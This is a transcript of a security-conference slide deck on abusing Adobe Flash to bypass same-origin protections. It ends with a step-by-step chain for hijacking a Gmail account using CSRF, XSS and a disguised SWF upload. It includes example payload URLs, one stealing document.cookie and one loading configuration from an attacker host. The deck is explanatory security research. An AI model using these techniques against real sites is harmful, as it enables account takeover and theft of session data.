Neat new and ridiculous flash hacks
Download
1 / 60

Neat, New and Ridiculous Flash Hacks - PowerPoint PPT Presentation


  • 105 Views
  • Uploaded on

Neat, New and Ridiculous Flash Hacks. Mike Bailey. whoami. Penetration Tester Security Consultant Senior Security Researcher: MAD Security Instructor: The Hacker Academy Skeptikal.org. Goals. Ways Flash can be leveraged in an attack Not bugs in Flash Player Not necessarily Adobe’s fault

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Neat, New and Ridiculous Flash Hacks' - shayna


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript

Whoami
whoami

Penetration Tester

Security Consultant

Senior Security Researcher: MAD Security

Instructor: The Hacker Academy

Skeptikal.org


Goals
Goals

Ways Flash can be leveraged in an attack

Not bugs in Flash Player

Not necessarily Adobe’s fault

Ways to abuse Flash to compromise users, websites and browsers


A few terms defined
A few terms defined

  • Flash Player- The application that interprets and executes Flash content.

  • Flash Plugin- The browser plugin that loads up Flash Player.

  • SWF file- The Flash content hosted on a web server.

  • Flash Object- the SWF file, as it is embedded in a web page.

  • Actionscript- Flash’s scripting language. Similar to Javascript.


Same origin policies
Same Origin Policies

Scripts on Site A cannot access scripts, cookies, or content from Site B without explicit permission

This allows Site B to keep session data, sensitive information, and other resources private


Javascript s sop
Javascript’s SOP

  • A Core component of Web Security

  • Relies on defined boundaries between websites and applications (which do not exist)

  • Relies on airtight input sanitization (which is difficult)

  • Relies on airtight DNS (which is unlikely)

  • Browsers themselves are adding ways to bypass it

    Clearly, it isn’t working, but it is currently all we have


Actionscript s sop
ActionScript’s SOP

  • Modeled after Javascript’s policy

  • Better implemented than Javascript, due to clear boundaries between the Flash application and the rest of the site

  • In practice, may be easier to bypass

    Much of this talk will focus on violating this policy, with other tricks of the trade sprinkled throughout


The easy way crossdomain xml
The Easy Way: Crossdomain.xml

  • When attempting crossdomain communication, Flash will first check the crossdomain.xml file on the targeted server

  • Adobe recommends that admins do not place “Allow *” direcectives in crossdomain.xml

  • …But people do anyways

  • Adobe recommends that admins do not place “Allow *.example.com” directives in crossdomain.xml

  • …But people do anyways


Neat new and ridiculous flash hacks

In 2006, Jeremiah Grossman found that 6% of the top 100 websites have unrestricted crossdomain policies

He predicted that this number was likely to grow

In mid-2008, Jeremiah found that 7% have unrestricted policies, and 11% allow *domain.com


Neat new and ridiculous flash hacks

At the beginning of 2010, of the Alexa top 1000 websites: websites have unrestricted crossdomain policies

13.4% allow *

37.6% allow *.(domain).com

This problem is not going away

And it is already being exploited


The livejournal worm
The websites have unrestricted crossdomain policiesLiveJournal Worm

  • An overly permissive crossdomain.xml file allowed LJ account hijacking

  • Hijacked accounts would modify blog posts to place the payload in those accounts

  • This is classic web worm behavior, but using Flash and crossdomain policies instead of XSS or browser exploits.

  • 3,300 accounts infected in a few hours

  • Could have been much worse


Crossdomain xml csrf
Crossdomain.xml CSRF websites have unrestricted crossdomain policies

  • Flash cannot make requests to outside servers without permission from those servers’ crossdomain.xml files

  • The exception: The crossdomain.xml file itself

  • Requesting a resource from http://foo:bar@baz.com will force the browser to request http://foo:bar@baz.com/crossdomain.xml

  • No alerts will be triggered and the browser can be forced to log into baz.com


Xss in flash objects
XSS in Flash Objects websites have unrestricted crossdomain policies

  • AKA Cross-Site Flashing

  • An incredibly common vulnerability

  • Poorly written Flash objects can take inputs as URL parameters, which can in turn be poisoned

    http://foo.com/bar.swf?url=javascript:alert(document.cookie)


Neat new and ridiculous flash hacks

My approach: XSS through RFI bugs in Flash objects websites have unrestricted crossdomain policies

Many objects load a secondary XML configuration file, which can be poisoned

http://foo.com/file.swf?config=config.xml

http://foo.com/file.swf?config=http://evil.com/config.xml


The point
The Point: websites have unrestricted crossdomain policies

Injecting Javascript into a Flash object is no more difficult than injecting Javascript into a web page


Client side hpp
Client-Side HPP websites have unrestricted crossdomain policies

  • A bad name for a simple attack

  • Passing multiple copies of the same parameter

    http://foo.com/file.swf?input=foo&input=bar

  • Flash will interpret “input” as “bar”

    http://foo.com/file.swf?input=foo#&input=bar

  • Flash will interpret “input” as “bar”, but it will show up as “foo” in server logs

  • Server-side forensics may never know that the object was attacked


More cross domain violations
More Cross-Domain Violations websites have unrestricted crossdomain policies

  • In previous examples, Javascript called from a Flash object runs in the same domain that the object was served from

  • These attacks are performed byiframing the object

  • But what if we embed that object in another website?

  • An object embedded in a web page can execute ActionScript in the context of the server it’s loaded from, but Javascript in the context of the web page it’s embedded in

    Goodbye, Same Origin Policy


How can it be exploited
How Can It Be Exploited? websites have unrestricted crossdomain policies

  • Embed a malicious object from the attacker’s server in a page on the target server

  • Corrupt an innocent, but poorly designed Flash object

  • Upload a malicious object to the target server


Case 1 embed an object in a web page
Case 1: Embed An Object In A Web Page websites have unrestricted crossdomain policies

  • Requires that we have the ability to modify HTML

  • …In which case we probably have an XSS vulnerability anyways

  • Perhaps not the best attack, but there are useful scenarios:

  • Place an innocent object on my server, invite people to embed it in their web pages, then swap it out


Case 2 corrupt an object
Case 2: Corrupt An Object websites have unrestricted crossdomain policies

  • This is mostly covered by the previous Cross-Site Flashing discussion

  • Another approach: If a Flash object executes calls or exports methods to Javascript, they can be intercepted and return poisoned data


Neat new and ridiculous flash hacks

http://static.facebook.com/swf/XdCom.swf websites have unrestricted crossdomain policies


Neat new and ridiculous flash hacks

http://static.facebook.com/swf/XdCom.swf websites have unrestricted crossdomain policies


Neat new and ridiculous flash hacks

http://cynikal.org/facebook_exploit.html websites have unrestricted crossdomain policies


Case 3 upload an object
Case 3: Upload An Object websites have unrestricted crossdomain policies

  • Webmail allows attachments

  • Intranet applications have customer spec sheets, code checkins, etc.

  • Document repositories allow uploads

  • Mirror and syndication sites host content

  • Advertisers allow Flash banners to be uploaded

  • Image galleries, forums, ecommerce sites…

  • Everybody allows file uploads


How the upload attack works
How the upload attack works websites have unrestricted crossdomain policies

  • I upload a SWF file to your server

  • You serve that file back to your users

  • I embed the file in my web page

  • The Flash file executes in your domain

  • But any Javascript it executes is in my domain


How is this different from uploading a javascript file
How is this different from uploading a websites have unrestricted crossdomain policiesJavascript File?

  • Javascript must be embedded in a web page on the target server to execute

  • An uploaded HTML page will not execute unless it is served with an HTML content-type

  • An uploaded SWF file will execute regardless of content-type

  • Regardless of what the server thinks the file is, Flash Player will interpret it as Flash

  • This makes it easier to get a payload SWF on a server.


Remember gifar
Remember GIFAR? websites have unrestricted crossdomain policies

  • The SWF file format requires a specific set of bytes at the beginning of the file, but allows arbitrary junk data at the end

  • The ZIP format allows junk data at the beginning, but actual data can be placed at the end

  • We can create files that are both a valid Flash object and a valid Zip file

  • Server-side file integrity validation will fail to detect the Flash payload.


But wait there s more
But wait, there’s more! websites have unrestricted crossdomain policies

Many formats are essentially just Zip files:

  • Office Open XML (docx, pptx, etc)

  • JAR and XPI (If you want to be silly)

  • Self-extracting executables

    Most websites that allow uploads allow some type of Zip-related formats (with the exception of images)


How to hack a gmail account
How To Hack A Gmail Account websites have unrestricted crossdomain policies

  • The webmail application lives on mail.google.com

  • Attachments are served from mail.google.com

  • Seems simple enough


Plan a
Plan A websites have unrestricted crossdomain policies

  • Send an email to victim with attachment

  • Load the object out of the victim’s account, embedding it in my web page

    Nope

  • I need to know the messageID of the attachment

  • I don’t know your messageIDs

  • I do know my messageIDs


Plan b
Plan B websites have unrestricted crossdomain policies

  • Send email to myself with payload

  • Log user into my account via CSRF

  • Load malicious attachment into browser

  • Log user out

  • Convince user to log into his account (without unloading the current page)

  • Use Flash to execute requests against the Gmail server, reading the contents of the victim’s inbox


Other problems
Other Problems websites have unrestricted crossdomain policies

  • Token-based CSRF protection on login

    Solution: Cross-Subdomain cookie manipulation to forge CSRF tokens

  • Finding an XSS hole in *.google.com

    Solution: Google gadgets can be poisoned with arbitrary XML files, injecting Javascript into sites.google.com


Other problems1
Other Problems websites have unrestricted crossdomain policies

  • Content-disposition Header

    Solution: convince Gmail that the attachment is an image, which can be served as “inline” instead of “attachment”

  • Framebusters

    Solution: Unload the page by destroying the iframe after it sends a response, but before rendering Javascript


Other problems2
Other Problems websites have unrestricted crossdomain policies

  • Race Condition Timing problems

    Solution: DOM quirks solve it for Firefox, but that’s another talk

  • Getting the user to log back in

    Solution: A registration page makes this believable.


Other problems3
Other Problems websites have unrestricted crossdomain policies

  • Detecting when the user has logged in

    Solution: have the Flash object periodically poll a Gmail documentation page which lives on mail.google.com but does not redirect the user to www.google.com (as this would cause Flash to request www.google.com/crossdomain.xml, which would be disallowed and halt payload execution


The final exploit
The Final Exploit websites have unrestricted crossdomain policies

  • Create a SWF payload

  • Change the file extension to .jpg

  • Send it to my Gmail account

  • Get the URL of the attachment and add it to my web page

  • Entice a you to visit my web page

  • My page logs you out of Gmail via CSRF

  • You request a poisoned Google gadget via sites.google.com

  • Google requests an XML config file from my server

  • You load the gadget, which is poisoned with XSS

  • The XSS adds an arbitrary cookie to your browser for *.google.com

  • I log you into my Gmail account via CSRF with the forced cookie

  • I destroy the login from before it executes its framebuster code

  • You request the payload from my inbox

  • Google serves the payload up, thinking it is an image

  • Your Flash Player executes the payload

  • The payload executes Javascript in my page, informing me it is running

  • My page logs you out of my Gmail account via CSRF

  • The payload waits fo ryou to log in

  • You log into your Gmail account in another tab

  • I have full access to your Gmail account

  • I do a victory dance


Why not just disable flash
Why not just disable Flash? websites have unrestricted crossdomain policies

Questions?

mckt@skeptikal.org